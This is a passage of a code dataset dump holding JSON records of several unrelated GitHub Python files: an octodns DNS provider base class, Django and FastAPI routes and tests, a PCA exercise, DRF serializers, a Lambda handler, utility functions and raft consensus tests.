"71", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 33, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 143, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 147, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 150, "usage_type": "call"}, {"api_name": "xgboost.train", "line_number": 161, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 163, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 166, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 167, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 177, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 179, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 180, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 196, "usage_type": "call"}]}
{"seq_id": "40929097030", "text": "#\n#\n#\n\nfrom __future__ import absolute_import, division, print_function, \\\n    unicode_literals\n\nfrom six import text_type\n\nfrom ..source.base import BaseSource\nfrom ..zone import Zone\nfrom .plan import Plan\n\n\nclass BaseProvider(BaseSource):\n\n    def __init__(self, id, apply_disabled=False,\n                 manage_root_ns=False,\n                 update_pcent_threshold=Plan.MAX_SAFE_UPDATE_PCENT,\n                 delete_pcent_threshold=Plan.MAX_SAFE_DELETE_PCENT):\n        super(BaseProvider, self).__init__(id)\n        self.log.debug('__init__: id=%s, apply_disabled=%s, '\n                       'update_pcent_threshold=%.2f, '\n                       'delete_pcent_threshold=%.2f',\n                       id,\n                       apply_disabled,\n                       update_pcent_threshold,\n                       delete_pcent_threshold)\n        self.apply_disabled = apply_disabled\n        self.manage_root_ns = manage_root_ns\n        self.update_pcent_threshold = update_pcent_threshold\n        self.delete_pcent_threshold = delete_pcent_threshold\n\n    def _check_root_ns(self, change):\n        '''\n        Checks ability for provider root NS support.\n        '''\n\n        return not (change.record._type == 'NS' and\n                    change.record.name == '' and\n                    not (self.SUPPORTS_ROOT_NS and\n                         self.manage_root_ns))\n\n    def _include_change(self, change):\n        '''\n        An opportunity for providers to filter out false positives due to\n        peculiarities in their implementation. E.g. minimum TTLs.\n        '''\n        return True\n\n    def _extra_changes(self, existing, desired, changes):\n        '''\n        An opportunity for providers to add extra changes to the plan that are\n        necessary to update ancillary record data or configure the zone. E.g.\n        base NS records.\n        '''\n        return []\n\n    def plan(self, desired):\n        self.log.info('plan: desired=%s', desired.name)\n\n        existing = Zone(desired.name, desired.sub_zones)\n        exists = self.populate(existing, target=True, lenient=True)\n        if exists is None:\n            # If your code gets this warning see Source.populate for more\n            # information\n            self.log.warn('Provider %s used in target mode did not return '\n                          'exists', self.id)\n\n        # compute the changes at the zone/record level\n        changes = existing.changes(desired, self)\n\n        # allow the provider to filter out false positives\n        before = len(changes)\n        changes = [c for c in changes if self._include_change(c) and\n                   self._check_root_ns(c)]\n        after = len(changes)\n        if before != after:\n            self.log.info('plan:   filtered out %s changes', before - after)\n\n        # allow the provider to add extra changes it needs\n        extra = self._extra_changes(existing=existing, desired=desired,\n                                    changes=changes)\n        if extra:\n            self.log.info('plan:   extra changes\\n  %s', '\\n  '\n                          .join([text_type(c) for c in extra]))\n            changes += extra\n\n        if changes:\n            plan = Plan(existing, desired, changes, exists,\n                        self.update_pcent_threshold,\n                        self.delete_pcent_threshold)\n            self.log.info('plan:   %s', plan)\n            return plan\n        self.log.info('plan:   No changes')\n        return None\n\n    def apply(self, plan):\n        '''\n        Submits actual planned changes to the provider. Returns the number of\n        changes made\n        '''\n        if self.apply_disabled:\n            self.log.info('apply: disabled')\n            return 0\n\n        self.log.info('apply: making changes')\n        self._apply(plan)\n        return len(plan.changes)\n\n    def _apply(self, plan):\n        raise NotImplementedError('Abstract base class, _apply method '\n                                  'missing')\n", "repo_name": "swisstxt/octodns-old-to-be-deleted", "sub_path": "octodns/provider/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 3966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "source.base.BaseSource", "line_number": 15, "usage_type": "name"}, {"api_name": "plan.Plan.MAX_SAFE_UPDATE_PCENT", "line_number": 19, "usage_type": "attribute"}, {"api_name": "plan.Plan", "line_number": 19, "usage_type": "name"}, {"api_name": "plan.Plan.MAX_SAFE_DELETE_PCENT", "line_number": 20, "usage_type": "attribute"}, {"api_name": "plan.Plan", "line_number": 20, "usage_type": "name"}, {"api_name": "zone.Zone", "line_number": 62, "usage_type": "call"}, {"api_name": "six.text_type", "line_number": 86, "usage_type": "call"}, {"api_name": "plan.Plan", "line_number": 90, "usage_type": "call"}, {"api_name": "plan.changes", "line_number": 109, "usage_type": "attribute"}]}
{"seq_id": "34571343799", "text": "from django.urls import path\n\nfrom . import views\n\napp_name = 'base'\n\nurlpatterns = [\n    path('', views.index, name='index'),\n    path('profile/', views.profile, name='profile'),\n    path('group/', views.group, name='group'),\n    path('group//', views.group_individual, name='group_individual'),\n    path('add_group/', views.add_group, name='add_group'),\n    path('delete_group/', views.delete_group_view, name='delete_group_view'),\n    path('delete_group//', views.delete_group, name='delete_group'),\n    path('modify_group_name_view//', views.modify_group_name_view, name='modify_group_name_view'),\n    path('modify_group_name_submit//', views.modify_group_name_submit, name='modify_group_name_submit'),\n    path('review_view//', views.review_view, name='review_view'),\n    path('review_process//', views.review_process, name='review_process'),\n    path('ajax/review_submit/', views.review_submit, name='review_submit'),\n    path('ajax/delete_kanji_from_group/', views.delete_kanji_from_group, name='delete_kanji_from_group'),\n    path('review_restart//', views.review_restart, name='review_restart'),\n    path('review_overview//', views.review_overview, name='review_overview'),\n]", "repo_name": "white-noise/rensetsu", "sub_path": "rensetsu/base/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1299, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "20014032391", "text": "import pandas\nfrom numpy import corrcoef\nfrom scipy.sparse import hstack\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.decomposition import PCA\nimport sys\n\nfrom sklearn.linear_model import Ridge\n\nsys.path.append(\"..\")\nfrom util import print_answer\nfrom sklearn.feature_extraction import DictVectorizer\n\ndata = pandas.read_csv('close_prices.csv')\nx = data.loc[:, 'AXP':]\npca = PCA(n_components=10)\npca.fit(x.values)\n\nvariance = 0\ni = 0\nfor v in pca.explained_variance_ratio_:\n    i += 1\n    variance += v\n    if variance >= 0.9:\n        break\n\nprint_answer(1, i)\n\ndf_comp = pandas.DataFrame(pca.transform(x))\ncomp0 = df_comp[0]\n\ndf2 = pandas.read_csv('djia_index.csv')\ndji = df2['^DJI']\ncorr = corrcoef(comp0, dji)\nprint_answer(2, corr[1, 0])\n\ncomp0_w = pandas.Series(pca.components_[0])\ncomp0_w_top = comp0_w.sort_values(ascending=False).head(1).index[0]\ncompany = x.columns[comp0_w_top]\nprint_answer(3, company)", "repo_name": "dimitrkovalsky/intro-to-ml", "sub_path": "04-pca/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 939, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 16, "usage_type": "call"}, {"api_name": "util.print_answer", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.corrcoef", "line_number": 34, "usage_type": "call"}, {"api_name": "util.print_answer", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 37, "usage_type": "call"}, {"api_name": "util.print_answer", "line_number": 40, "usage_type": "call"}]}
{"seq_id": "3496918491", "text": "import os\nimport yaml\n\ndef load_yaml(path):\n    with open(path, 'r') as f:\n        return yaml.load(f, Loader=yaml.FullLoader)\n\n\ndef get_root_work_path() -> str:\n    \"\"\"获取ros的工作目录，会得到一个到src文件夹的绝对路径\n    Returns:\n        str: 工作目录的绝对路径\n    \"\"\"\n    import os\n    try:\n        ros_package_path = os.environ['ROS_PACKAGE_PATH']\n    except:\n        raise Exception('ROS_PACKAGE_PATH is not set, please 【source ros workspace】')\n    return ros_package_path.split(':')[0]\n\n\ndef _add_abs_path(config:dict, abs_path:str):\n    \"\"\"将配置文件中的相对路径转换为绝对路径\n\n    Args:\n        config (dict): 原始配置文件\n        abs_path (str): 工作绝对路径\n\n    Returns:\n        _type_: dict\n    \"\"\"\n    for key, item in config.items():\n        if isinstance(item, dict):\n            config[key] = _add_abs_path(config[key], abs_path)\n        elif 'path' in key and isinstance(item, str):\n            config[key] = os.path.join(abs_path, item)\n            if config[key].endswith('.yaml'):\n                config[key] = load_yaml(config[key])\n    return config\n\ndef load_train_config(path):\n    \"\"\"为强化学习训练加载配置文件，包括gazebo相关环境的参数和训练参数;\n    Args:\n        path (str): 配置文件的相对路径\n    Returns:\n        dict: 配置文件的内容\n    \"\"\"\n    work_root_path = get_root_work_path()\n    if not path.startswith('/'):\n        path = os.path.join(work_root_path, path)\n    config = load_yaml(path)\n    config = _add_abs_path(config, work_root_path)\n    # 将gazebo场景模型信息补充完整\n    config['gazebo']['world_file_path'] = config['gazebo']['world_file_path'].format(config['scene_name'])\n    return config   \n    ", "repo_name": "MERONAL/RLmapping", "sub_path": "rl/scripts/utils/tools.py", "file_name": "tools.py", "file_ext": "py", "file_size_in_byte": 1766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "yaml.load", "line_number": 6, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}]}
{"seq_id": "39281740928", "text": "from rest_framework import serializers\n\n\nclass PublishSerializer(serializers.Serializer):\n    \"\"\"\n    推送 notify 輸入\n    \"\"\"\n    message = serializers.CharField(label=\"要發送的訊息\")\n\n\nclass WebhookSerializer(serializers.Serializer):\n    \"\"\"\n    Line notify webhook use\n    \"\"\"\n    code = serializers.CharField()\n    state = serializers.UUIDField()\n", "repo_name": "s0974129/line_notify_service", "sub_path": "api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 361, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "rest_framework.serializers.Serializer", "line_number": 4, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 4, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 8, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.serializers.Serializer", "line_number": 11, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 15, "usage_type": "name"}, {"api_name": "rest_framework.serializers.UUIDField", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 16, "usage_type": "name"}]}
{"seq_id": "13136471542", "text": "import sys\n\nsys.path.append(\"/opt\")\nfrom common.utils.response import Response\nfrom common.constants import Constants\nfrom user_common import User\nfrom common.utils.validate_json import validate_query_params\nfrom common.utils.authorize import authorize\n\nschema = {\n    \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n\n    \"type\": \"object\",\n    \"properties\": {\n        \"user_id\": {\"type\": \"string\", \"minLength\": 3},\n        \"email\": {\"type\": \"string\", \"minLength\": 3},\n        \"password\": {\"type\": \"string\", \"minLength\": 3},\n        \"address\": {\"type\": \"string\", \"minLength\": 3},\n    },\n    \"required\": [\"user_id\"]\n\n}\n\n\n@authorize()\n@validate_query_params(schema)\ndef lambda_handler(event, logger):\n    response = Response(logger=logger)\n    try:\n        user = User(logger, response, event)\n        return user.update_user()\n    except Exception as e:\n        logger.exception(\"Unknown exception occurred while login user {}\".format(e))\n        return response.error_response(Constants.SERVER_ERROR, Constants.SERVER_ERROR)\n", "repo_name": "saif-sha/Cloud_a2", "sub_path": "backend/user/update_user.py", "file_name": "update_user.py", "file_ext": "py", "file_size_in_byte": 1030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "common.utils.response.Response", "line_number": 28, "usage_type": "call"}, {"api_name": "user_common.User", "line_number": 30, "usage_type": "call"}, {"api_name": "common.constants.Constants.SERVER_ERROR", "line_number": 34, "usage_type": "attribute"}, {"api_name": "common.constants.Constants", "line_number": 34, "usage_type": "name"}, {"api_name": "common.utils.authorize.authorize", "line_number": 25, "usage_type": "call"}, {"api_name": "common.utils.validate_json.validate_query_params", "line_number": 26, "usage_type": "call"}]}
{"seq_id": "36941621316", "text": "from fastapi.testclient import TestClient\n\nfrom quality_of_life.main import app\n\nclient = TestClient(app)\n\n\ndef test_get_nearest():\n    response = client.get(\n        '/api/v1/nearest/?city=gda%C5%84sk&country=Poland&distance=200&limit=1')\n    assert response.status_code == 200\n    assert response.json() == [\n        {\n            \"city\": \"Gdansk\",\n            \"distance\": 0\n        }\n    ]\n\n\ndef test_get_nearest_non_existing_city():\n    response = client.get(\n        '/api/v1/nearest/?city=miasto123&country=Poland&distance=200&limit=1')\n    assert response.status_code == 404\n    assert response.json() == {'detail': 'Could not find city miasto123 in country Poland.'}\n\n", "repo_name": "MaciejZawierzeniec/Quality_of_life_API", "sub_path": "tests/api/endpoints/test_nearest.py", "file_name": "test_nearest.py", "file_ext": "py", "file_size_in_byte": 676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "fastapi.testclient.TestClient", "line_number": 5, "usage_type": "call"}, {"api_name": "quality_of_life.main.app", "line_number": 5, "usage_type": "argument"}]}
{"seq_id": "10468123427", "text": "# -*- coding: utf-8 -*-\nfrom django.conf.urls import patterns, include, url\nfrom django.contrib import admin\n\nfrom views import *\n\nadmin.site.site_header = 'Pets Example'\n\nurlpatterns = patterns('',\n    url(r'^pet/list$', PetListView.as_view()),\n    url(r'^pet$', PetView.as_view()),\n    url(r'^pet/(?P.+)/$', PetView.as_view()),\n    url(r'^pet/(?P.+)/activity$', PetActivityView.as_view())\n)\n", "repo_name": "ugosan/django-basic-rest", "sub_path": "app/basicrest/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.contrib.admin.site", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}]}
{"seq_id": "29848766360", "text": "import json\nimport sys, re, copy\nfrom numerics import *\nimport config\nfrom operator import *\nfrom sym import SYM\nimport math\n\n\ndef misc1(fun, iterable):\n    \"\"\"\n    Maps the function over the iterable\n    fun : Function that must be applied on each element of iterable\n    iterable : iterable over which function must be mapped onto\n    \"\"\"\n    u = []\n    if iterable is None:\n        return None\n    elif fun is None:\n        return u\n    else:\n        return [fun(i) for i in iterable]\n\n\ndef eg(key, str, fun):\n    \"\"\"\n    Function for running the example test cases in test files and main.py\n    \"\"\"\n    config.egs[key] = fun\n    global help\n    help = help + '  -g ' + key + '\\t' + str + '\\n'\n\n\ndef keys(t: dict):\n    \"\"\"\n    Returns the sorted list of dictionary keys\n    t : dictionary\n    \"\"\"\n    return sorted(t)\n\n\ndef fmt(*strings):\n    \"\"\"\n    Emulating Print function\n    \"\"\"\n    for string in strings:\n        string = str(string)\n        for s in string:\n            sys.stdout.write(s)\n\n\ndef oo(t):\n    \"\"\"\n    Emulating Print function and returning sorted value\n    \"\"\"\n    print(t)\n    if not isinstance(t, dict):\n        return t\n    else:\n        return dict(sorted(t.items(), key=itemgetter(1)))\n\n\ndef settings(s):\n    \"\"\"\n    Using REGEX to read the settings\n    \"\"\"\n    return dict(re.findall(\"\\n[\\s]+[-][\\S]+[\\s]+[-][-]([\\S]+)[^\\n]+= ([\\S]+)\", s))\n\ndef dofile(sFile):\n    file = open(sFile, 'r', encoding='utf-8')\n    text  = re.findall(r'(?<=return )[^.]*', file.read())[0].replace('{', '[').replace('}',']').replace('=',':').replace('[\\n','{\\n' ).replace(' ]',' }' ).replace('\\'', '\"').replace('_', '\"_\"')\n    file.close()\n    return json.loads(re.sub(\"(\\w+):\", r'\"\\1\":', text))\n\n\ndef coerce(s):\n    \"\"\"\n    Reading the values in s and reformatting it for test use\n    \"\"\"\n\n    def fun(s1):\n        if s1 == \"true\" or s1 == \"True\":\n            return True\n        elif s1 == \"false\" or s1 == \"False\":\n            return False\n        return s1\n    \n    if s.isdigit():\n        return int(s)\n    elif \".\" in s and s.replace(\".\", \"\").isdigit():\n        return float(s)\n    else:\n        print('llllllllllllllllllll',fun(s.strip()))\n        return fun(s.strip())\n\n\ndef cli(options):\n    \"\"\"\n    Function for displaying and for printing the command line interface options.\n    \"\"\"\n    arg = sys.argv[1:]\n    for k, v in options.items():\n        v = str(v)\n        for n, x in enumerate(arg):\n            if x == \"-\" + k[0] or x == \"--\" + k:\n                if v == \"false\":\n                    v = \"true\"\n                elif v == \"true\":\n                    v = \"false\"\n                else:\n                    v = arg[n + 1]\n            options[k] = coerce(v)\n\n        return options\n\n\ndef kap(iterable, fun):\n    \"\"\"\n    Applies a function over a iterable and returns the result as key value pair with key as index\n    and value as result of the function\n    \"\"\"\n    result = {}\n    for i in iterable:\n        s1 = iterable.index(i)\n        i, s1 = fun(s1,i) \n        result[s1 or len(result)] = i\n    return result\n\ndef dkap(t, fun):\n    u = {}\n    for k,v in t.items():\n        v, k = fun(k,v) \n        u[k or len(u)] = v\n    return u\n\ndef push(t, x):\n    t.append(x)\n    return x\n\n\ndef any(iterable):\n    \"\"\"\n    Returns random item from an iterable\n    \"\"\"\n    return iterable[rint(0, len(iterable) - 1)]\n\n\ndef many(iterable, n):\n    \"\"\"\n    Returns a few items from an iterable\n    \"\"\"\n    u = []\n    for _ in range(1, n + 1):\n        u.append(any(iterable))\n    return u\n\n\ndef show(node, what, cols, n_places, lvl=0):\n    \"\"\"\n    Prints the tree\n    \"\"\"\n    if node:\n        print('| ' * lvl + str(len(node['data'].rows)) + '  ', end='')\n        if not node.get('left') or lvl == 0:\n            print(node['data'].stats(node['data'].cols.y, n_places, \"mid\"))\n        else:\n            print('')\n        show(node.get('left'), what, cols, n_places, lvl + 1)\n        show(node.get('right'), what, cols, n_places, lvl + 1)\n\ndef deepcopy(t):\n    return copy.deepcopy(t)\n\ndef get_mean(data_obj_list):\n    mean = {}\n    n_iter = len(data_obj_list)\n   \n    # For each data_obj, get sum of mid/mode\n    for data_obj in data_obj_list:\n        for k, v in data_obj.stats().items():\n            mean[k] = mean.get(k, 0) + v\n   \n    # Convert sums to averages\n    for k in mean:\n        mean[k] = round(mean[k] / n_iter, 2)\n       \n    return mean\ndef repPlace(data):\n    n,g = 20,{}\n    for i in range(1, n+1):\n        g[i]={}\n        for j in range(1, n+1):\n            g[i][j]=' '\n    maxy = 0\n    print('')\n    for r,row in enumerate(data.rows):\n        c = chr(97+r).upper()\n        print(c, row.cells[-1])\n        x,y= row.x*n//1, row.y*n//1\n        maxy = int(max(maxy,y+1))\n        g[y+1][x+1] = c\n    print('')\n    for y in range(1,maxy+1):\n        print(' '.join(g[y].values()))\n\ndef showTree(node, what, cols, nPlaces, lvl = 0):\n  if node:\n    print('|.. ' * lvl + '[' + str(len(node['data'].rows)) + ']' + '  ', end = '')\n    if not node.get('left') or lvl==0:\n        print(node['data'].stats(\"mid\",node['data'].cols.y,nPlaces))\n    else:\n        print('')\n    showTree(node.get('left'), what,cols, nPlaces, lvl+1)\n    showTree(node.get('right'), what,cols,nPlaces, lvl+1)\n\ndef cliffsDelta(ns1,ns2):\n    if len(ns1) > 256:\n        ns1 = many(ns1,256)\n    if len(ns2) > 256:\n        ns2 = many(ns2,256)\n    if len(ns1) > 10*len(ns2):\n        ns1 = many(ns1,10*len(ns2))\n    if len(ns2) > 10*len(ns1):\n        ns2 = many(ns2,10*len(ns1))\n    n,gt,lt = 0,0,0\n    for x in ns1:\n        for y in ns2:\n            n = n + 1\n            if x > y:\n                gt = gt + 1\n            if x < y:\n                lt = lt + 1\n    return abs(lt - gt)/n > config.the['cliffs']  \n\ndef RANGE_1(at,txt,lo,hi=None):\n    return {'at':at,'txt':txt,'lo':lo,'hi':lo or hi or lo,'y':SYM()}\n\ndef itself(x):\n    return x\n\n\n\n", "repo_name": "suryasashankgundepudi/CSC-591-GROUP-6-FINALPROJECT", "sub_path": "src/misc.py", "file_name": "misc.py", "file_ext": "py", "file_size_in_byte": 5834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "config.egs", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 49, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 67, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 71, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 73, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 73, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 101, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 172, "usage_type": "call"}, {"api_name": "config.the", "line_number": 233, "usage_type": "attribute"}, {"api_name": "sym.SYM", "line_number": 236, "usage_type": "call"}]}
{"seq_id": "33254096679", "text": "from __future__ import nested_scopes\n\nimport pytest\n\nfrom raft import models\nfrom raft.models import Event, EventType, rpc, server\n\n\n@pytest.fixture\ndef candidate_request_vote_event(config):\n    def inner(node_id, term, dest):\n        return Event(\n            EventType.CandidateRequestVoteRpc,\n            rpc.RequestVoteRpc(\n                term=term,\n                candidate_id=node_id,\n                last_log_index=-1,\n                last_log_term=-1,\n                dest=dest,\n                source=config.node_mapping[node_id][\"addr\"],\n            ),\n        )\n\n    return inner\n\n\n@pytest.fixture\ndef receive_server_candidate_vote_event(config):\n    def inner(node_id, term, granted, dest):\n        return Event(\n            EventType.ReceiveServerCandidateVote,\n            rpc.RequestVoteResponse(\n                term=term,\n                source_node_id=node_id,\n                vote_granted=granted,\n                dest=dest,\n                source=config.node_mapping[node_id][\"addr\"],\n            ),\n        )\n\n    return inner\n\n\ndef is_empty_response(resp: server.ResponsesEvents) -> bool:\n    return not resp.responses and not resp.events\n\n\n# Testing Conversions from one Server type to another\ndef test_candidate_validate_conversions(candidate):\n    # any other server type is valid\n    assert candidate.validate_conversion(server.Follower) is True\n    assert candidate.validate_conversion(server.Candidate) is True\n    assert candidate.validate_conversion(server.Leader) is True\n\n\ndef test_follower_validate_conversions(follower):\n    with pytest.raises(ValueError):\n        follower.validate_conversion(server.Follower)\n    with pytest.raises(ValueError):\n        follower.validate_conversion(server.Leader)\n    with pytest.raises(ValueError):\n        # Some random value...\n        follower.validate_conversion(server.Leader.mro()[1])\n    # only this is valid\n    assert follower.validate_conversion(server.Candidate) is True\n\n\ndef test_leader_validate_conversions(leader):\n    with pytest.raises(ValueError):\n        leader.validate_conversion(server.Candidate)\n    with pytest.raises(ValueError):\n        leader.validate_conversion(server.Leader)\n    with pytest.raises(ValueError):\n        # Some random value...\n        leader.validate_conversion(server.Leader.mro()[1])\n    # only this is valid\n    assert leader.validate_conversion(server.Follower) is True\n\n\n# Testing Follower Log Append\n@pytest.mark.parametrize(\n    \"log_to_pull,success_expected\",\n    (\n        (\"a_log\", False),\n        (\"b_log\", False),\n        (\"c_log\", True),\n        (\"d_log\", True),\n        (\"e_log\", False),\n        (\"f_log\", False),\n    ),\n)\ndef test_follower_msg_append(\n    log_to_pull, success_expected, follower, figure7_logs, fig7_sample_message\n):\n    follower.log = figure7_logs[log_to_pull]\n    follower.commit_index = 4\n    follower.current_term = follower.log[-1].term\n    event = Event(EventType.LeaderAppendLogEntryRpc, fig7_sample_message)\n    result, more_events = follower.handle_append_entries_message(event)\n    # We expect an event to trigger election timeout restart in runtime\n    assert len(more_events) == 1\n    assert more_events[0].type == EventType.ResetElectionTimeout\n    # we also expect a response message\n    assert len(result) == 1\n    resp = result[0]\n    assert resp.success is success_expected\n    assert resp.source == fig7_sample_message.dest\n    assert resp.dest == fig7_sample_message.source\n    expected_match = 10 if success_expected else -1\n    assert resp.match_index == expected_match\n\n    # test the higher-level function\n    inst, (resps, more_events) = follower.handle_event(event)\n    assert inst is follower\n    # We expect an event to trigger election timeout restart in runtime\n    assert len(more_events) == 1\n    assert more_events[0].type == EventType.ResetElectionTimeout\n    resp = resps[0]\n    assert resp.success is success_expected\n    assert resp.source == fig7_sample_message.dest\n    assert resp.dest == fig7_sample_message.source\n\n\n# Testing Candidate conversions\n@pytest.mark.parametrize(\n    \"etype,new_class,events\",\n    (\n        (\n            EventType.SelfWinElection,\n            server.Leader,\n            [models.EVENT_CONVERSION_TO_LEADER, models.EVENT_START_HEARTBEAT],\n        ),\n        (\n            EventType.LeaderAppendLogEntryRpc,\n            server.Follower,\n            [models.EVENT_CONVERSION_TO_FOLLOWER],\n        ),\n        (EventType.Tick, None, []),\n    ),\n)\ndef test_follower_candidate_convert(etype, new_class, events, candidate):\n    event = Event(etype, None)\n    inst, resps = candidate.handle_event(event)\n    if etype == EventType.Tick:\n        assert is_empty_response(resps)\n    else:\n        assert not is_empty_response(resps)\n        for left, right in zip(events, resps.events):\n            assert left == right\n\n    if new_class is None:\n        assert inst == candidate\n        return None  # Further tests below are about conversion\n\n    assert isinstance(inst, new_class)\n    assert id(inst) != id(candidate)\n    if isinstance(inst, server.Candidate):\n        assert inst.current_term == candidate.current_term + 1\n    for key in filter(lambda el: el != \"current_term\", inst.transfer_attrs):\n        assert getattr(inst, key) == getattr(candidate, key)\n\n\n# Election starts (or restarts for Candidate) -> Returns new candidate and Sends Vote Requests\ndef test_candidate_construct_request_vote_rpcs(follower, candidate):\n    \"\"\"There's a lot going on in this test\"\"\"\n    for raft_server in (follower, candidate):\n        event = Event(EventType.ElectionTimeoutStartElection, None)\n        new_candidate, resp_events = raft_server.handle_event(event)\n        assert new_candidate is not raft_server\n        resps, empty = new_candidate.handle_start_election(event)\n        assert resp_events and resp_events == (resps, empty)\n        assert resps\n        assert not empty  # no successive events\n        assert new_candidate.current_term == raft_server.current_term + 1\n        for key in filter(lambda el: el != \"current_term\", raft_server.transfer_attrs):\n            assert getattr(raft_server, key) == getattr(new_candidate, key)\n\n        for node_id, msg in zip(new_candidate.all_node_ids, resps):\n            # make sure leader is not including itself in recipients\n            assert new_candidate.address != msg.dest\n            # Check recipient 